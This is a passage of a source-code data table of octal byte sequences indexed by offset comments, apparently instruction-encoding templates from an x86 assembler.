/* 26622 */ 0273,0324,01,0201,0205,0255,0,
/* 26629 */ 0360,0320,02,017,021,0101,0,
/* 26636 */ 0360,0321,02,017,021,0101,0,
/* 26643 */ 0360,0320,02,017,023,0110,0,
/* 26650 */ 0360,0321,02,017,023,0110,0,
/* 26657 */ 0273,0320,02,017,0301,0101,0,
/* 26664 */ 0273,0321,02,017,0301,0101,0,
/* 26671 */ 0273,0324,02,017,0301,0101,0,
/* 26678 */ 0273,0320,01,0203,0206,0275,0,
/* 26685 */ 0273,0321,01,0203,0206,0275,0,
/* 26692 */ 0273,0324,01,0203,0206,0275,0,
/* 26699 */ 0273,0320,01,0201,0206,031,0,
/* 26706 */ 0273,0321,01,0201,0206,041,0,
/* 26713 */ 0273,0324,01,0201,0206,0255,0,
/* 26720 */ 0320,01,017,0330,0100,0110,0,
/* 26727 */ 0321,01,017,0330,0100,0110,0,
/* 26734 */ 0324,01,017,0330,0100,0110,0,
/* 26741 */ 0322,01,017,0330,0200,064,0,
/* 26748 */ 0320,01,017,0330,0200,064,0,
/* 26755 */ 0321,01,017,0330,0200,064,0,
/* 26762 */ 0323,01,017,0330,0200,064,0,
/* 26769 */ 0330,0161,0373,01,0351,064,0,
/* 26776 */ 0360,02,017,0302,0110,026,0,
/* 26783 */ 0333,02,017,0302,0110,026,0,
/* 26790 */ 0324,0333,02,017,052,0110,0,
/* 26797 */ 0324,0333,02,017,055,0110,0,
/* 26804 */ 0324,0333,02,017,054,0110,0,
/* 26811 */ 0360,0324,02,017,0120,0110,0,
/* 26818 */ 0360,02,017,0306,0110,026,0,
/* 26825 */ 0324,0360,02,017,0256,0201,0,
/* 26832 */ 0324,0360,02,017,0256,0200,0,
/* 26839 */ 0324,0360,02,017,0256,0204,0,
/* 26846 */ 0324,0360,02,017,0307,0204,0,
/* 26853 */ 0324,0360,02,017,0256,0206,0,
/* 26860 */ 0324,0360,02,017,0307,0205,0,
/* 26867 */ 0324,0360,02,017,0256,0205,0,
/* 26874 */ 0324,0360,02,017,0307,0203,0,
/* 26881 */ 0360,0323,02,017,0340,0110,0,
/* 26888 */ 0360,0323,02,017,0343,0110,0,
/* 26895 */ 0360,02,017,0305,0110,026,0,
/* 26902 */ 0360,02,017,0304,0110,026,0,
/* 26909 */ 0360,0323,02,017,0356,0110,0,
/* 26916 */ 0360,0323,02,017,0336,0110,0,
/* 26923 */ 0360,0323,02,017,0352,0110,0,
/* 26930 */ 0360,0323,02,017,0332,0110,0,
/* 26937 */ 0360,0323,02,017,0344,0110,0,
/* 26944 */ 0360,0323,02,017,0366,0110,0,
/* 26951 */ 0324,0360,02,017,0303,0101,0,
/* 26958 */ 0361,0317,02,017,0176,0101,0,
/* 26965 */ 0361,0317,02,017,0156,0110,0,
/* 26972 */ 0361,0324,02,017,0156,0110,0,
/* 26979 */ 0361,0324,02,017,0176,0101,0,
/* 26986 */ 0361,02,017,0305,0110,026,0,
/* 26993 */ 0361,02,017,0304,0110,026,0,
/* 27000 */ 0360,0323,02,017,0364,0110,0,
/* 27007 */ 0361,02,017,0160,0110,022,0,
/* 27014 */ 0333,02,017,0160,0110,022,0,
/* 27021 */ 0332,02,017,0160,0110,022,0,
/* 27028 */ 0361,02,017,0163,0207,025,0,
/* 27035 */ 0361,02,017,0161,0206,025,0,
/* 27042 */ 0361,02,017,0162,0206,025,0,
/* 27049 */ 0361,02,017,0163,0206,025,0,
/* 27056 */ 0361,02,017,0161,0204,025,0,
/* 27063 */ 0361,02,017,0162,0204,025,0,
/* 27070 */ 0361,02,017,0163,0203,025,0,
/* 27077 */ 0361,02,017,0161,0202,025,0,
/* 27084 */ 0361,02,017,0162,0202,025,0,
/* 27091 */ 0361,02,017,0163,0202,025,0,
/* 27098 */ 0360,0323,02,017,0373,0110,0,
/* 27105 */ 0361,02,017,0302,0110,026,0,
/* 27112 */ 0332,02,017,0302,0110,026,0,
/* 27119 */ 0317,0332,02,017,055,0110,0,
/* 27126 */ 0324,0332,02,017,055,0110,0,
/* 27133 */ 0317,0332,02,017,052,0110,0,
/* 27140 */ 0324,0332,02,017,052,0110,0,
/* 27147 */ 0317,0332,02,017,054,0110,0,
/* 27154 */ 0324,0332,02,017,054,0110,0,
/* 27161 */ 0361,0324,02,017,0120,0110,0,
/* 27168 */ 0361,02,017,0306,0110,026,0,
/* 27175 */ 0323,0360,02,017,0170,0101,0,
/* 27182 */ 0323,0360,02,017,0171,0110,0,
/* 27189 */ 0360,03,017,070,034,0110,0,
/* 27196 */ 0361,03,017,070,034,0110,0,
/* 27203 */ 0360,03,017,070,035,0110,0,
/* 27210 */ 0361,03,017,070,035,0110,0,
/* 27217 */ 0360,03,017,070,036,0110,0,
/* 27224 */ 0361,03,017,070,036,0110,0,
/* 27231 */ 0360,03,017,070,01,0110,0,
/* 27238 */ 0361,03,017,070,01,0110,0,
/* 27245 */ 0360,03,017,070,02,0110,0,
/* 27252 */ 0361,03,017,070,02,0110,0,
/* 27259 */ 0360,03,017,070,03,0110,0,
/* 27266 */ 0361,03,017,070,03,0110,0,
/* 27273 */ 0360,03,017,070,05,0110,0,
/* 27280 */ 0361,03,017,070,05,0110,0,
/* 27287 */ 0360,03,017,070,06,0110,0,
/* 27294 */ 0361,03,017,070,06,0110,0,
/* 27301 */ 0360,03,017,070,07,0110,0,
/* 27308 */ 0361,03,017,070,07,0110,0,
/* 27315 */ 0360,03,017,070,04,0110,0,
/* 27322 */ 0361,03,017,070,04,0110,0,
/* 27329 */ 0360,03,017,070,013,0110,0,
/* 27336 */ 0361,03,017,070,013,0110,0,
/* 27343 */ 0360,03,017,070,0,0110,0,
/* 27350 */ 0361,03,017,070,0,0110,0,
/* 27357 */ 0360,03,017,070,010,0110,0,
/* 27364 */ 0361,03,017,070,010,0110,0,
/* 27371 */ 0360,03,017,070,011,0110,0,
/* 27378 */ 0361,03,017,070,011,0110,0,
/* 27385 */ 0360,03,017,070,012,0110,0,
/* 27392 */ 0361,03,017,070,012,0110,0,
/* 27399 */ 0320,0333,02,017,0275,0110,0,
/* 27406 */ 0321,0333,02,017,0275,0110,0,
/* 27413 */ 0324,0333,02,017,0275,0110,0,
/* 27420 */ 0361,03,017,070,025,0110,0,
/* 27427 */ 0361,03,017,070,024,0110,0,
/* 27434 */ 0361,03,017,070,052,0110,0,
/* 27441 */ 0361,03,017,070,053,0110,0,
/* 27448 */ 0361,03,017,070,020,0110,0,
/* 27455 */ 0361,03,017,070,051,0110,0,
/* 27462 */ 0361,03,017,070,0101,0110,0,
/* 27469 */ 0361,03,017,070,074,0110,0,
/* 27476 */ 0361,03,017,070,075,0110,0,
/* 27483 */ 0361,03,017,070,077,0110,0,
/* 27490 */ 0361,03,017,070,076,0110,0,
/* 27497 */ 0361,03,017,070,070,0110,0,
/* 27504 */ 0361,03,017,070,071,0110,0,
/* 27511 */ 0361,03,017,070,073,0110,0,
/* 27518 */ 0361,03,017,070,072,0110,0,
/* 27525 */ 0361,03,017,070,040,0110,0,
/* 27532 */ 0361,03,017,070,041,0110,0,
/* 27539 */ 0361,03,017,070,042,0110,0,
/* 27546 */ 0361,03,017,070,043,0110,0,
/* 27553 */ 0361,03,017,070,044,0110,0,
/* 27560 */ 0361,03,017,070,045,0110,0,
/* 27567 */ 0361,03,017,070,060,0110,0,
/* 27574 */ 0361,03,017,070,061,0110,0,
/* 27581 */ 0361,03,017,070,062,0110,0,
/* 27588 */ 0361,03,017,070,063,0110,0,
/* 27595 */ 0361,03,017,070,064,0110,0,
/* 27602 */ 0361,03,017,070,065,0110,0,
/* 27609 */ 0361,03,017,070,050,0110,0,
/* 27616 */ 0361,03,017,070,0100,0110,0,
/* 27623 */ 0361,03,017,070,027,0110,0,
/* 27630 */ 0361,03,017,070,067,0110,0,
/* 27637 */ 0320,0333,02,017,0270,0110,0,
/* 27644 */ 0321,0333,02,017,0270,0110,0,
/* 27651 */ 0324,0333,02,017,0270,0110,0,
/* 27658 */ 0361,03,017,070,0334,0110,0,
/* 27665 */ 0361,03,017,070,0335,0110,0,
/* 27672 */ 0361,03,017,070,0336,0110,0,
/* 27679 */ 0361,03,017,070,0337,0110,0,
/* 27686 */ 0361,03,017,070,0333,0110,0,
/* 27693 */ 0261,02,041,01,0334,0120,0,
/* 27700 */ 0260,02,041,01,0334,0110,0,
/* 27707 */ 0261,02,041,01,0335,0120,0,
/* 27714 */ 0260,02,041,01,0335,0110,0,
/* 27721 */ 0261,02,041,01,0336,0120,0,
/* 27728 */ 0260,02,041,01,0336,0110,0,
/* 27735 */ 0261,02,041,01,0337,0120,0,
/* 27742 */ 0260,02,041,01,0337,0110,0,
/* 27749 */ 0270,02,041,01,0333,0110,0,
/* 27756 */ 0261,02,045,01,0334,0120,0,
/* 27763 */ 0260,02,045,01,0334,0110,0,
/* 27770 */ 0261,02,045,01,0335,0120,0,
/* 27777 */ 0260,02,045,01,0335,0110,0,
/* 27784 */ 0261,02,045,01,0336,0120,0,
/* 27791 */ 0260,02,045,01,0336,0110,0,
/* 27798 */ 0261,02,045,01,0337,0120,0,
/* 27805 */ 0260,02,045,01,0337,0110,0,
/* 27812 */ 0261,01,041,01,0130,0120,0,
/* 27819 */ 0260,01,041,01,0130,0110,0,
/* 27826 */ 0261,01,045,01,0130,0120,0,
/* 27833 */ 0260,01,045,01,0130,0110,0,
/* 27840 */ 0261,01,040,01,0130,0120,0,
/* 27847 */ 0260,01,040,01,0130,0110,0,
/* 27854 */ 0261,01,044,01,0130,0120,0,
/* 27861 */ 0260,01,044,01,0130,0110,0,
/* 27868 */ 0261,01,053,01,0130,0120,0,
/* 27875 */ 0260,01,053,01,0130,0110,0,
/* 27882 */ 0261,01,052,01,0130,0120,0,
/* 27889 */ 0260,01,052,01,0130,0110,0,
/* 27896 */ 0261,01,041,01,0320,0120,0,
/* 27903 */ 0260,01,041,01,0320,0110,0,
/* 27910 */ 0261,01,045,01,0320,0120,0,
/* 27917 */ 0260,01,045,01,0320,0110,0,
/* 27924 */ 0261,01,043,01,0320,0120,0,
/* 27931 */ 0260,01,043,01,0320,0110,0,
/* 27938 */ 0261,01,047,01,0320,0120,0,
/* 27945 */ 0260,01,047,01,0320,0110,0,
/* 27952 */ 0261,01,041,01,0124,0120,0,
/* 27959 */ 0260,01,041,01,0124,0110,0,
/* 27966 */ 0261,01,045,01,0124,0120,0,
/* 27973 */ 0260,01,045,01,0124,0110,0,
/* 27980 */ 0261,01,040,01,0124,0120,0,
/* 27987 */ 0260,01,040,01,0124,0110,0,
/* 27994 */ 0261,01,044,01,0124,0120,0,
/* 28001 */ 0260,01,044,01,0124,0110,0,
/* 28008 */ 0261,01,041,01,0125,0120,0,
/* 28015 */ 0260,01,041,01,0125,0110,0,
/* 28022 */ 0261,01,045,01,0125,0120,0,
/* 28029 */ 0260,01,045,01,0125,0110,0,
/* 28036 */ 0261,01,040,01,0125,0120,0,
/* 28043 */ 0260,01,040,01,0125,0110,0,
/* 28050 */ 0261,01,044,01,0125,0120,0,
/* 28057 */ 0260,01,044,01,0125,0110,0,
/* 28064 */ 0270,02,01,01,030,0110,0,
/* 28071 */ 0270,02,05,01,030,0110,0,
/* 28078 */ 0270,02,05,01,031,0110,0,
/* 28085 */ 0270,02,05,01,032,0110,0,
/* 28092 */ 0270,01,051,01,057,0110,0,
/* 28099 */ 0270,01,050,01,057,0110,0,
/* 28106 */ 0270,01,042,01,0346,0110,0,
/* 28113 */ 0270,01,046,01,0346,0110,0,
/* 28120 */ 0270,01,040,01,0133,0110,0,
/* 28127 */ 0270,01,044,01,0133,0110,0,
/* 28134 */ 0270,01,043,01,0346,0110,0,
/* 28141 */ 0270,01,047,01,0346,0110,0,
/* 28148 */ 0270,01,041,01,0132,0110,0,
/* 28155 */ 0270,01,045,01,0132,0110,0,
/* 28162 */ 0270,01,041,01,0133,0110,0,
/* 28169 */ 0270,01,045,01,0133,0110,0,
/* 28176 */ 0270,01,040,01,0132,0110,0,
/* 28183 */ 0270,01,044,01,0132,0110,0,
/* 28190 */ 0270,01,013,01,055,0110,0,
/* 28197 */ 0270,01,033,01,055,0110,0,
/* 28204 */ 0261,01,053,01,0132,0120,0,
/* 28211 */ 0260,01,053,01,0132,0110,0,
/* 28218 */ 0261,01,013,01,052,0120,0,
/* 28225 */ 0260,01,013,01,052,0110,0,
/* 28232 */ 0261,01,033,01,052,0120,0,
/* 28239 */ 0260,01,033,01,052,0110,0,
/* 28246 */ 0261,01,012,01,052,0120,0,
/* 28253 */ 0260,01,012,01,052,0110,0,
/* 28260 */ 0261,01,032,01,052,0120,0,
/* 28267 */ 0260,01,032,01,052,0110,0,
/* 28274 */ 0261,01,052,01,0132,0120,0,
/* 28281 */ 0260,01,052,01,0132,0110,0,
/* 28288 */ 0270,01,012,01,055,0110,0,
/* 28295 */ 0270,01,032,01,055,0110,0,
/* 28302 */ 0270,01,041,01,0346,0110,0,
/* 28309 */ 0270,01,045,01,0346,0110,0,
/* 28316 */ 0270,01,042,01,0133,0110,0,
/* 28323 */ 0270,01,046,01,0133,0110,0,
/* 28330 */ 0270,01,013,01,054,0110,0,
/* 28337 */ 0270,01,033,01,054,0110,0,
/* 28344 */ 0270,01,012,01,054,0110,0,
/* 28351 */ 0270,01,032,01,054,0110,0,
/* 28358 */ 0261,01,041,01,0136,0120,0,
/* 28365 */ 0260,01,041,01,0136,0110,0,
/* 28372 */ 0261,01,045,01,0136,0120,0,
/* 28379 */ 0260,01,045,01,0136,0110,0,
/* 28386 */ 0261,01,040,01,0136,0120,0,
/* 28393 */ 0260,01,040,01,0136,0110,0,
/* 28400 */ 0261,01,044,01,0136,0120,0,
/* 28407 */ 0260,01,044,01,0136,0110,0,
/* 28414 */ 0261,01,053,01,0136,0120,0,
/* 28421 */ 0260,01,053,01,0136,0110,0,
/* 28428 */ 0261,01,052,01,0136,0120,0,
/* 28435 */ 0260,01,052,01,0136,0110,0,
/* 28442 */ 0261,01,041,01,0174,0120,0,
/* 28449 */ 0260,01,041,01,0174,0110,0,
/* 28456 */ 0261,01,045,01,0174,0120,0,
/* 28463 */ 0260,01,045,01,0174,0110,0,
/* 28470 */ 0261,01,043,01,0174,0120,0,
/* 28477 */ 0260,01,043,01,0174,0110,0,
/* 28484 */ 0261,01,047,01,0174,0120,0,
/* 28491 */ 0260,01,047,01,0174,0110,0,
/* 28498 */ 0261,01,041,01,0175,0120,0,
/* 28505 */ 0260,01,041,01,0175,0110,0,
/* 28512 */ 0261,01,045,01,0175,0120,0,
/* 28519 */ 0260,01,045,01,0175,0110,0,
/* 28526 */ 0261,01,043,01,0175,0120,0,
/* 28533 */ 0260,01,043,01,0175,0110,0,
/* 28540 */ 0261,01,047,01,0175,0120,0,
/* 28547 */ 0260,01,047,01,0175,0110,0,
/* 28554 */ 0270,01,043,01,0360,0110,0,
/* 28561 */ 0270,01,047,01,0360,0110,0,
/* 28568 */ 0270,01,040,01,0256,0202,0,
/* 28575 */ 0270,01,041,01,0367,0110,0,
/* 28582 */ 0261,02,01,01,054,0120,0,
/* 28589 */ 0261,02,05,01,054,0120,0,
/* 28596 */ 0261,02,01,01,056,0102,0,
/* 28603 */ 0261,02,05,01,056,0102,0,
/* 28610 */ 0261,02,01,01,055,0120,0,
/* 28617 */ 0261,02,05,01,055,0120,0,
/* 28624 */ 0261,02,01,01,057,0102,0,
/* 28631 */ 0261,02,05,01,057,0102,0,
/* 28638 */ 0261,01,041,01,0137,0120,0,
/* 28645 */ 0260,01,041,01,0137,0110,0,
/* 28652 */ 0261,01,045,01,0137,0120,0,
/* 28659 */ 0260,01,045,01,0137,0110,0,
/* 28666 */ 0261,01,040,01,0137,0120,0,
/* 28673 */ 0260,01,040,01,0137,0110,0,
/* 28680 */ 0261,01,044,01,0137,0120,0,
/* 28687 */ 0260,01,044,01,0137,0110,0,
/* 28694 */ 0261,01,053,01,0137,0120,0,
/* 28701 */ 0260,01,053,01,0137,0110,0,
/* 28708 */ 0261,01,052,01,0137,0120,0,
/* 28715 */ 0260,01,052,01,0137,0110,0,
/* 28722 */ 0261,01,041,01,0135,0120,0,
/* 28729 */ 0260,01,041,01,0135,0110,0,
/* 28736 */ 0261,01,045,01,0135,0120,0,
/* 28743 */ 0260,01,045,01,0135,0110,0,
/* 28750 */ 0261,01,040,01,0135,0120,0,
/* 28757 */ 0260,01,040,01,0135,0110,0,
/* 28764 */ 0261,01,044,01,0135,0120,0,
/* 28771 */ 0260,01,044,01,0135,0110,0,
/* 28778 */ 0261,01,053,01,0135,0120,0,
/* 28785 */ 0260,01,053,01,0135,0110,0,
/* 28792 */ 0261,01,052,01,0135,0120,0,
/* 28799 */ 0260,01,052,01,0135,0110,0,
/* 28806 */ 0270,01,041,01,050,0110,0,
/* 28813 */ 0270,01,041,01,051,0101,0,
/* 28820 */ 0270,01,045,01,050,0110,0,
/* 28827 */ 0270,01,045,01,051,0101,0,
/* 28834 */ 0270,01,040,01,050,0110,0,
/* 28841 */ 0270,01,040,01,051,0101,0,
/* 28848 */ 0270,01,044,01,050,0110,0,
/* 28855 */ 0270,01,044,01,051,0101,0,
/* 28862 */ 0270,01,01,01,0156,0110,0,
/* 28869 */ 0270,01,01,01,0176,0101,0,
/* 28876 */ 0270,01,042,01,0176,0110,0,
/* 28883 */ 0270,01,041,01,0326,0101,0,
/* 28890 */ 0270,01,021,01,0156,0110,0,
/* 28897 */ 0270,01,021,01,0176,0101,0,
/* 28904 */ 0270,01,043,01,022,0110,0,
/* 28911 */ 0270,01,047,01,022,0110,0,
/* 28918 */ 0270,01,041,01,0157,0110,0,
/* 28925 */ 0270,01,041,01,0177,0101,0,
/* 28932 */ 0270,01,045,01,0157,0110,0,
/* 28939 */ 0270,01,045,01,0177,0101,0,
/* 28946 */ 0270,01,042,01,0157,0110,0,
/* 28953 */ 0270,01,042,01,0177,0101,0,
/* 28960 */ 0270,01,046,01,0157,0110,0,
/* 28967 */ 0270,01,046,01,0177,0101,0,
/* 28974 */ 0261,01,040,01,022,0120,0,
/* 28981 */ 0260,01,040,01,022,0110,0,
/* 28988 */ 0261,01,041,01,026,0120,0,
/* 28995 */ 0260,01,041,01,026,0110,0,
/* 29002 */ 0270,01,041,01,027,0101,0,
/* 29009 */ 0261,01,040,01,026,0120,0,
/* 29016 */ 0260,01,040,01,026,0110,0,
/* 29023 */ 0270,01,040,01,027,0101,0,
/* 29030 */ 0261,01,041,01,022,0120,0,
/* 29037 */ 0260,01,041,01,022,0110,0,
/* 29044 */ 0270,01,041,01,023,0101,0,
/* 29051 */ 0270,01,040,01,023,0101,0,
/* 29058 */ 0270,01,041,01,0120,0110,0,
/* 29065 */ 0270,01,045,01,0120,0110,0,
/* 29072 */ 0270,01,040,01,0120,0110,0,
/* 29079 */ 0270,01,044,01,0120,0110,0,
/* 29086 */ 0270,01,041,01,0347,0101,0,
/* 29093 */ 0270,01,045,01,0347,0101,0,
/* 29100 */ 0270,02,041,01,052,0110,0,
/* 29107 */ 0270,01,041,01,053,0101,0,
/* 29114 */ 0270,01,045,01,053,0101,0,
/* 29121 */ 0270,01,040,01,053,0101,0,
/* 29128 */ 0270,01,044,01,053,0101,0,
/* 29135 */ 0261,01,053,01,020,0120,0,
/* 29142 */ 0260,01,053,01,020,0110,0,
/* 29149 */ 0270,01,053,01,020,0110,0,
/* 29156 */ 0261,01,053,01,021,0102,0,
/* 29163 */ 0260,01,053,01,021,0101,0,
/* 29170 */ 0270,01,053,01,021,0101,0,
/* 29177 */ 0270,01,042,01,026,0110,0,
/* 29184 */ 0270,01,046,01,026,0110,0,
/* 29191 */ 0270,01,042,01,022,0110,0,
/* 29198 */ 0270,01,046,01,022,0110,0,
/* 29205 */ 0261,01,052,01,020,0120,0,
/* 29212 */ 0260,01,052,01,020,0110,0,
/* 29219 */ 0270,01,052,01,020,0110,0,
/* 29226 */ 0261,01,052,01,021,0102,0,
/* 29233 */ 0260,01,052,01,021,0101,0,
/* 29240 */ 0270,01,052,01,021,0101,0,
/* 29247 */ 0270,01,041,01,020,0110,0,
/* 29254 */ 0270,01,041,01,021,0101,0,
/* 29261 */ 0270,01,045,01,020,0110,0,
/* 29268 */ 0270,01,045,01,021,0101,0,
/* 29275 */ 0270,01,040,01,020,0110,0,
/* 29282 */ 0270,01,040,01,021,0101,0,
/* 29289 */ 0270,01,044,01,020,0110,0,
/* 29296 */ 0270,01,044,01,021,0101,0,
/* 29303 */ 0261,01,041,01,0131,0120,0,
/* 29310 */ 0260,01,041,01,0131,0110,0,
/* 29317 */ 0261,01,045,01,0131,0120,0,
/* 29324 */ 0260,01,045,01,0131,0110,0,
/* 29331 */ 0261,01,040,01,0131,0120,0,
/* 29338 */ 0260,01,040,01,0131,0110,0,
/* 29345 */ 0261,01,044,01,0131,0120,0,
/* 29352 */ 0260,01,044,01,0131,0110,0,
/* 29359 */ 0261,01,053,01,0131,0120,0,
/* 29366 */ 0260,01,053,01,0131,0110,0,
/* 29373 */ 0261,01,052,01,0131,0120,0,
/* 29380 */ 0260,01,052,01,0131,0110,0,
/* 29387 */ 0261,01,041,01,0126,0120,0,
/* 29394 */ 0260,01,041,01,0126,0110,0,
/* 29401 */ 0261,01,045,01,0126,0120,0,
/* 29408 */ 0260,01,045,01,0126,0110,0,
/* 29415 */ 0261,01,040,01,0126,0120,0,
/* 29422 */ 0260,01,040,01,0126,0110,0,
/* 29429 */ 0261,01,044,01,0126,0120,0,
/* 29436 */ 0260,01,044,01,0126,0110,0,
/* 29443 */ 0270,02,041,01,034,0110,0,
/* 29450 */ 0270,02,041,01,035,0110,0,
/* 29457 */ 0270,02,041,01,036,0110,0,
/* 29464 */ 0261,01,041,01,0143,0120,0,
/* 29471 */ 0260,01,041,01,0143,0110,0,
/* 29478 */ 0261,01,041,01,0153,0120,0,
/* 29485 */ 0260,01,041,01,0153,0110,0,
/* 29492 */ 0261,01,041,01,0147,0120,0,
/* 29499 */ 0260,01,041,01,0147,0110,0,
/* 29506 */ 0261,02,041,01,053,0120,0,
/* 29513 */ 0260,02,041,01,053,0110,0,
/* 29520 */ 0261,01,041,01,0374,0120,0,
/* 29527 */ 0260,01,041,01,0374,0110,0,
/* 29534 */ 0261,01,041,01,0375,0120,0,
/* 29541 */ 0260,01,041,01,0375,0110,0,
/* 29548 */ 0261,01,041,01,0376,0120,0,
/* 29555 */ 0260,01,041,01,0376,0110,0,
/* 29562 */ 0261,01,041,01,0324,0120,0,
/* 29569 */ 0260,01,041,01,0324,0110,0,
/* 29576 */ 0261,01,041,01,0354,0120,0,
/* 29583 */ 0260,01,041,01,0354,0110,0,
/* 29590 */ 0261,01,041,01,0355,0120,0,
/* 29597 */ 0260,01,041,01,0355,0110,0,
/* 29604 */ 0261,01,041,01,0334,0120,0,
/* 29611 */ 0260,01,041,01,0334,0110,0,
/* 29618 */ 0261,01,041,01,0335,0120,0,
/* 29625 */ 0260,01,041,01,0335,0110,0,
/* 29632 */ 0261,01,041,01,0333,0120,0,
/* 29639 */ 0260,01,041,01,0333,0110,0,
/* 29646 */ 0261,01,041,01,0337,0120,0,
/* 29653 */ 0260,01,041,01,0337,0110,0,
/* 29660 */ 0261,01,041,01,0340,0120,0,
/* 29667 */ 0260,01,041,01,0340,0110,0,
/* 29674 */ 0261,01,041,01,0343,0120,0,
/* 29681 */ 0260,01,041,01,0343,0110,0,
/* 29688 */ 0261,01,041,01,0164,0120,0,
/* 29695 */ 0260,01,041,01,0164,0110,0,
/* 29702 */ 0261,01,041,01,0165,0120,0,
/* 29709 */ 0260,01,041,01,0165,0110,0,
/* 29716 */ 0261,01,041,01,0166,0120,0,
/* 29723 */ 0260,01,041,01,0166,0110,0,
/* 29730 */ 0261,02,041,01,051,0120,0,
/* 29737 */ 0260,02,041,01,051,0110,0,
/* 29744 */ 0261,01,041,01,0144,0120,0,
/* 29751 */ 0260,01,041,01,0144,0110,0,
/* 29758 */ 0261,01,041,01,0145,0120,0,
/* 29765 */ 0260,01,041,01,0145,0110,0,
/* 29772 */ 0261,01,041,01,0146,0120,0,
/* 29779 */ 0260,01,041,01,0146,0110,0,
/* 29786 */ 0261,02,041,01,067,0120,0,
/* 29793 */ 0260,02,041,01,067,0110,0,
/* 29800 */ 0261,02,01,01,015,0120,0,
/* 29807 */ 0260,02,01,01,015,0110,0,
/* 29814 */ 0261,02,05,01,015,0120,0,
/* 29821 */ 0260,02,05,01,015,0110,0,
/* 29828 */ 0261,02,01,01,014,0120,0,
/* 29835 */ 0260,02,01,01,014,0110,0,
/* 29842 */ 0261,02,05,01,014,0120,0,
/* 29849 */ 0260,02,05,01,014,0110,0,
/* 29856 */ 0261,02,041,01,01,0120,0,
/* 29863 */ 0260,02,041,01,01,0110,0,
/* 29870 */ 0261,02,041,01,02,0120,0,
/* 29877 */ 0260,02,041,01,02,0110,0,
/* 29884 */ 0261,02,041,01,03,0120,0,
/* 29891 */ 0260,02,041,01,03,0110,0,
/* 29898 */ 0270,02,041,01,0101,0110,0,
/* 29905 */ 0261,02,041,01,05,0120,0,
/* 29912 */ 0260,02,041,01,05,0110,0,
/* 29919 */ 0261,02,041,01,06,0120,0,
/* 29926 */ 0260,02,041,01,06,0110,0,
/* 29933 */ 0261,02,041,01,07,0120,0,
/* 29940 */ 0260,02,041,01,07,0110,0,
/* 29947 */ 0261,01,041,01,0365,0120,0,
/* 29954 */ 0260,01,041,01,0365,0110,0,
/* 29961 */ 0261,02,041,01,04,0120,0,
/* 29968 */ 0260,02,041,01,04,0110,0,
/* 29975 */ 0261,02,041,01,074,0120,0,
/* 29982 */ 0260,02,041,01,074,0110,0,
/* 29989 */ 0261,01,041,01,0356,0120,0,
/* 29996 */ 0260,01,041,01,0356,0110,0,
/* 30003 */ 0261,02,041,01,075,0120,0,
/* 30010 */ 0260,02,041,01,075,0110,0,
/* 30017 */ 0261,01,041,01,0336,0120,0,
/* 30024 */ 0260,01,041,01,0336,0110,0,
/* 30031 */ 0261,02,041,01,076,0120,0,
/* 30038 */ 0260,02,041,01,076,0110,0,
/* 30045 */ 0261,02,041,01,077,0120,0,
/* 30052 */ 0260,02,041,01,077,0110,0,
/* 30059 */ 0261,02,041,01,070,0120,0,
/* 30066 */ 0260,02,041,01,070,0110,0,
/* 30073 */ 0261,01,041,01,0352,0120,0,
/* 30080 */ 0260,01,041,01,0352,0110,0,
/* 30087 */ 0261,02,041,01,071,0120,0,
/* 30094 */ 0260,02,041,01,071,0110,0,
/* 30101 */ 0261,01,041,01,0332,0120,0,
/* 30108 */ 0260,01,041,01,0332,0110,0,
/* 30115 */ 0261,02,041,01,072,0120,0,
/* 30122 */ 0260,02,041,01,072,0110,0,
/* 30129 */ 0261,02,041,01,073,0120,0,
/* 30136 */ 0260,02,041,01,073,0110,0,
/* 30143 */ 0270,01,041,01,0327,0110,0,
/* 30150 */ 0270,02,041,01,040,0110,0,
/* 30157 */ 0270,02,041,01,041,0110,0,
/* 30164 */ 0270,02,041,01,042,0110,0,
/* 30171 */ 0270,02,041,01,043,0110,0,
/* 30178 */ 0270,02,041,01,044,0110,0,
/* 30185 */ 0270,02,041,01,045,0110,0,
/* 30192 */ 0270,02,041,01,060,0110,0,
/* 30199 */ 0270,02,041,01,061,0110,0,
/* 30206 */ 0270,02,041,01,062,0110,0,
/* 30213 */ 0270,02,041,01,063,0110,0,
/* 30220 */ 0270,02,041,01,064,0110,0,
/* 30227 */ 0270,02,041,01,065,0110,0,
/* 30234 */ 0261,01,041,01,0344,0120,0,
/* 30241 */ 0260,01,041,01,0344,0110,0,
/* 30248 */ 0261,02,041,01,013,0120,0,
/* 30255 */ 0260,02,041,01,013,0110,0,
/* 30262 */ 0261,01,041,01,0345,0120,0,
/* 30269 */ 0260,01,041,01,0345,0110,0,
/* 30276 */ 0261,01,041,01,0325,0120,0,
/* 30283 */ 0260,01,041,01,0325,0110,0,
/* 30290 */ 0261,02,041,01,0100,0120,0,
/* 30297 */ 0260,02,041,01,0100,0110,0,
/* 30304 */ 0261,01,041,01,0364,0120,0,
/* 30311 */ 0260,01,041,01,0364,0110,0,
/* 30318 */ 0261,02,041,01,050,0120,0,
/* 30325 */ 0260,02,041,01,050,0110,0,
/* 30332 */ 0261,01,041,01,0353,0120,0,
/* 30339 */ 0260,01,041,01,0353,0110,0,
/* 30346 */ 0261,01,041,01,0366,0120,0,
/* 30353 */ 0260,01,041,01,0366,0110,0,
/* 30360 */ 0261,02,041,01,0,0120,0,
/* 30367 */ 0260,02,041,01,0,0110,0,
/* 30374 */ 0261,02,041,01,010,0120,0,
/* 30381 */ 0260,02,041,01,010,0110,0,
/* 30388 */ 0261,02,041,01,011,0120,0,
/* 30395 */ 0260,02,041,01,011,0110,0,
/* 30402 */ 0261,02,041,01,012,0120,0,
/* 30409 */ 0260,02,041,01,012,0110,0,
/* 30416 */ 0261,01,041,01,0361,0120,0,
/* 30423 */ 0260,01,041,01,0361,0110,0,
/* 30430 */ 0261,01,041,01,0362,0120,0,
/* 30437 */ 0260,01,041,01,0362,0110,0,
/* 30444 */ 0261,01,041,01,0363,0120,0,
/* 30451 */ 0260,01,041,01,0363,0110,0,
/* 30458 */ 0261,01,041,01,0341,0120,0,
/* 30465 */ 0260,01,041,01,0341,0110,0,
/* 30472 */ 0261,01,041,01,0342,0120,0,
/* 30479 */ 0260,01,041,01,0342,0110,0,
/* 30486 */ 0261,01,041,01,0321,0120,0,
/* 30493 */ 0260,01,041,01,0321,0110,0,
/* 30500 */ 0261,01,041,01,0322,0120,0,
/* 30507 */ 0260,01,041,01,0322,0110,0,
/* 30514 */ 0261,01,041,01,0323,0120,0,
/* 30521 */ 0260,01,041,01,0323,0110,0,
/* 30528 */ 0270,02,041,01,027,0110,0,
/* 30535 */ 0270,02,045,01,027,0110,0,
/* 30542 */ 0261,01,041,01,0370,0120,0,
